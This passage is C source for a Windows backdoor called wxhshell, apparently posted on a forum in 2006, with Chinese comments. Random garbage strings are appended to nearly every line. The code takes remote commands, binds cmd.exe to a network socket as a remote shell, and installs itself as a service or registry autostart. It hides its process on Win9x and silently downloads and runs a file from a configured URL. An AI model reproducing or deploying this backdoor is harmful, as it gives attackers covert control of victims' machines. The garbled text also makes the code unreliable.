  case '?': { +* {5ORq=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +mOtYf W  
    break; F-,{+B66  
  } @CI6$  
  // 安装 V@'S#K#  
  case 'i': { "[S 6w  
    if(Install()) Rs[]i;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LhRe?U\  
    else xi. KD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X3O$Sd(D  
    break; Z2jb>%  
    } $[CA#AXE  
  // 卸载 5@%-=87S  
  case 'r': { y+afUJT  
    if(Uninstall()) Hll}8d6[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ht^2)~e~:  
    else M #&L@fg!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c!^}!32j)  
    break; V>92/w.fe  
    } <1.mm_pw  
  // 显示 wxhshell 所在路径 9?$!=4  
  case 'p': { k+M-D~@5H  
    char svExeFile[MAX_PATH]; %<|KJb4?  
    strcpy(svExeFile,"\n\r"); m e{SVG{  
      strcat(svExeFile,ExeFile); HWOH8q{f!  
        send(wsh,svExeFile,strlen(svExeFile),0); W(4?#lA2W  
    break; " z'!il#  
    } AV3,4u  
  // 重启 >! .9g  
  case 'b': { |bnjC$b*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <XrGr5=BV  
    if(Boot(REBOOT)) x.Ml~W[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }c5`~ LLK  
    else { #zs\Z]3#  
    closesocket(wsh); dKpa5f7  
    ExitThread(0); 't.F.t  
    } a\_,_psK  
    break; lFY8^#@  
    } A'(F%0NF6  
  // 关机 bI(98V,t  
  case 'd': { H5 hUY'O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }_;!E@  
    if(Boot(SHUTDOWN))  yE,o~O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r/L]uSN  
    else { @0'|Uygn  
    closesocket(wsh); *7ro [  
    ExitThread(0); bR,Iq}p  
    } 53 05N!  
    break; C P{h+yCj  
    } YH9] T,  
  // 获取shell }8#Czo jt  
  case 's': { -V<"Ay  
    CmdShell(wsh); j)qh>y)  
    closesocket(wsh); 7b2<, .E  
    ExitThread(0); `_^=OOn  
    break; VW`=9T5%@  
  } AI;=k  
  // 退出 0Jh:6F  
  case 'x': { *=@pdQkR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t&]Mt 7  
    CloseIt(wsh); f"^tOgGH  
    break; 6J+ZeBk??  
    } 9(j!#`O7&  
  // 离开 0%+k>(@ R  
  case 'q': { @ RBwT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :%MWbnVSC,  
    closesocket(wsh); ]!:Y]VYN)\  
    WSACleanup(); rtE,SN  
    exit(1); h cXqg  
    break; IyP].g1"U  
        } X&Lt?e,&  
  } /Ql}jSKi  
  } zUqDX{I8  
NLY5L7  
  // 提示信息 K_n%`5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &_j4q  
} 3k^jR1  
  } m5{SPa,y  
HCK4h DKo}  
  return; bp,CvQ'}a  
} EdpR| z  
qDAjW)w Jp  
// shell模块句柄 T<)z2Bi  
int CmdShell(SOCKET sock) M7 !" t  
{ q|J]  
STARTUPINFO si; \/v$$1p2  
ZeroMemory(&si,sizeof(si)); --kK<9J7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i>2_hn_UR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g"Bv!9*H  
PROCESS_INFORMATION ProcessInfo; !d(V7`8  
char cmdline[]="cmd"; eVXbYv=gJ@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); idy:Jei}  
  return 0; y9)",G!  
} T 1=M6iJ  
:TI1tJS~*  
// 自身启动模式 *cIXae^Y7  
int StartFromService(void) <b I,y_<K  
{ ? Q}{&J  
typedef struct aK'r=NU  
{ ;zDc0qpw  
  DWORD ExitStatus; hgGcUpJy?  
  DWORD PebBaseAddress; mGvP9E"&  
  DWORD AffinityMask; vNGvEJ`qn  
  DWORD BasePriority; ( Iew%U  
  ULONG UniqueProcessId; 2l?J9c}Wo  
  ULONG InheritedFromUniqueProcessId; 7ow1=%Q  
}   PROCESS_BASIC_INFORMATION; f6 nltZ  
6! 'Xo:p  
PROCNTQSIP NtQueryInformationProcess; ez{&Y>n  
n} {cs  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LKcrr;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @HI5; z  
GWKefH  
  HANDLE             hProcess; v<1;1m  
  PROCESS_BASIC_INFORMATION pbi; BL67sva;  
sa*-B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :cTi$n  
  if(NULL == hInst ) return 0; qv\yQ&pj  
RMK U5A7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uE(w$2Wi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y1X.Mvc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~_%[j8o&l  
.Ko`DH~!,C  
  if (!NtQueryInformationProcess) return 0; x5ia<V>=d  
2+PIZ6=hN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1zRO== b  
  if(!hProcess) return 0; M &J*I  
DxHeZQ"LL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rtm28|0H'  
4hIC&W~f  
  CloseHandle(hProcess); 8@-US , |  
A7H=#L+C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R 9(^CWs  
if(hProcess==NULL) return 0; ^-ZqS  
o/R-1\Dn  
HMODULE hMod; ;q Z2V  
char procName[255]; K#jm6Xh?E  
unsigned long cbNeeded; I/g]9 y  
6F2}|c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #LiC@>  
RMXP)[  
  CloseHandle(hProcess); \B)<<[ $  
wr`eBPu  
if(strstr(procName,"services")) return 1; // 以服务启动 v|6fqG+Q\  
N *fN&0r  
  return 0; // 注册表启动 ?=/l@d  
} +\4=G@P.J  
DcS~@ ;  
// 主模块 Yh=Zn[ U  
int StartWxhshell(LPSTR lpCmdLine) \T0`GpE  
{  BeQJ/`  
  SOCKET wsl; zx27aZ[  
BOOL val=TRUE; 3?:}lY<,  
  int port=0; eIJQ|p<v  
  struct sockaddr_in door; 9V~yK?  
OR3TRa XD  
  if(wscfg.ws_autoins) Install(); A.n1|Q#  
Oaui@q  
port=atoi(lpCmdLine); c!zu0\[Id  
W8)GT`\  
if(port<=0) port=wscfg.ws_port; 8g\.1<~  
_>s.V`N'  
  WSADATA data; Ab`Gb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #ed]zI9O  
~F WmT(S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zC7;Zj*k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z\x6  
  door.sin_family = AF_INET; 3jeR;N]x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xfb%bkr  
  door.sin_port = htons(port); J#\/znT  
~jgd92`{z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V;$lgTs|'  
closesocket(wsl); IcB>Hg5  
return 1; \a<E3 <  
} AK[c!mzx  
52oR^ |  
  if(listen(wsl,2) == INVALID_SOCKET) { <iMLM<J<w  
closesocket(wsl); .fgoEB,(  
return 1; &f[[@EF7  
} ipsNiFv:  
  Wxhshell(wsl); so;aN'{6@  
  WSACleanup(); bz1\EkLL  
bkb}M)C  
return 0; {+!_; zzZ  
PqfH}d0l  
} ^pn:SV  
s:%>H|-  
// 以NT服务方式启动 t^q/'9Ai&J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `| fF)kI  
{ FkH4|}1  
DWORD   status = 0; xaPTTa  
  DWORD   specificError = 0xfffffff; 1*XqwBV  
D`u{U]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ou/{PK}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i+OyBDkJM!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q?~l=}2  
  serviceStatus.dwWin32ExitCode     = 0; 7JbN WN  
  serviceStatus.dwServiceSpecificExitCode = 0; #VLTx!5o  
  serviceStatus.dwCheckPoint       = 0; 'SC`->F4D  
  serviceStatus.dwWaitHint       = 0; 74Lq!e3hMF  
 ST{<G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \eN}V  
  if (hServiceStatusHandle==0) return; IlH*s/  
.69{GM?  
status = GetLastError(); &`@K/Nf$9  
  if (status!=NO_ERROR) U@H SU%H  
{ Q.x3_+CX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x,n;GR  
    serviceStatus.dwCheckPoint       = 0; 8E D6C"6  
    serviceStatus.dwWaitHint       = 0; wuPx6hCl  
    serviceStatus.dwWin32ExitCode     = status; \5Hfe;ny-~  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'Ic$p>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W )\~T:Kn  
    return; (|W@p\Q  
  } GZse8ng  
K1Uur>Pk%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1g *4e  
  serviceStatus.dwCheckPoint       = 0; J 9z\ qTI  
  serviceStatus.dwWaitHint       = 0; 3iDRt&y=.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WO|#`HM2  
} \MnlRBUM,  
}psJ'aiG*  
// 处理NT服务事件,比如:启动、停止 .Ir5gz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =V(I  
{ d>2>mT$U  
switch(fdwControl) f"z96{zo  
{ @X|CubJ  
case SERVICE_CONTROL_STOP:  E;k'bz  
  serviceStatus.dwWin32ExitCode = 0; 9%|!+!j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r.[9/'>  
  serviceStatus.dwCheckPoint   = 0; O>UR\l|+:2  
  serviceStatus.dwWaitHint     = 0; J@52<.>6  
  { -FwOX~s/'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t|1?mH9  
  } W@ #Y/L:${  
  return; %;GDg3L[p  
case SERVICE_CONTROL_PAUSE: _Y=>^K]9K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?,]25q   
  break; oTZNW  
case SERVICE_CONTROL_CONTINUE: JBp^@j{_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /.P*%'g  
  break; I U/gYFT  
case SERVICE_CONTROL_INTERROGATE: Ig~lD>dnr'  
  break; 2-FL&DE  
}; ;:f.a(~c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;8H m#p7,  
} Tw=Jc 's  
P/4]x@{ih  
// 标准应用程序主函数 [*@"[u   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4;x{@Ln  
{ UE5T%zd/  
S-*4HV_l  
// 获取操作系统版本 tAefBFu  
OsIsNt=GetOsVer(); I6~.sTl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Iell`;  
0KE+RzrB  
  // 从命令行安装 {U>B\D  
  if(strpbrk(lpCmdLine,"iI")) Install(); qy"#XbBeV  
TN4gGky!  
  // 下载执行文件 W-2,QVp%  
if(wscfg.ws_downexe) { ,F]Y,"x:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YP/BX52 v  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6Gwk*%sb  
} h,45-#+  
`$7. (.#s  
if(!OsIsNt) { ,,OO2EgZ`  
// 如果时win9x,隐藏进程并且设置为注册表启动 4u0=/pfi[  
HideProc(); gh#9<  
StartWxhshell(lpCmdLine); >:WnCkbp  
} o[X 'We;  
else 2eK!<Gj  
  if(StartFromService()) z1K@AaRx  
  // 以服务方式启动 f%;8]a9  
  StartServiceCtrlDispatcher(DispatchTable); unKi)v1  
else (]>= y  
  // 普通方式启动 CNwIM6t  
  StartWxhshell(lpCmdLine); ;N#d'E\  
E9i M-Lw  
return 0;  R5(<:]  
}
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只看该作者 1 发表于: 2006-10-10
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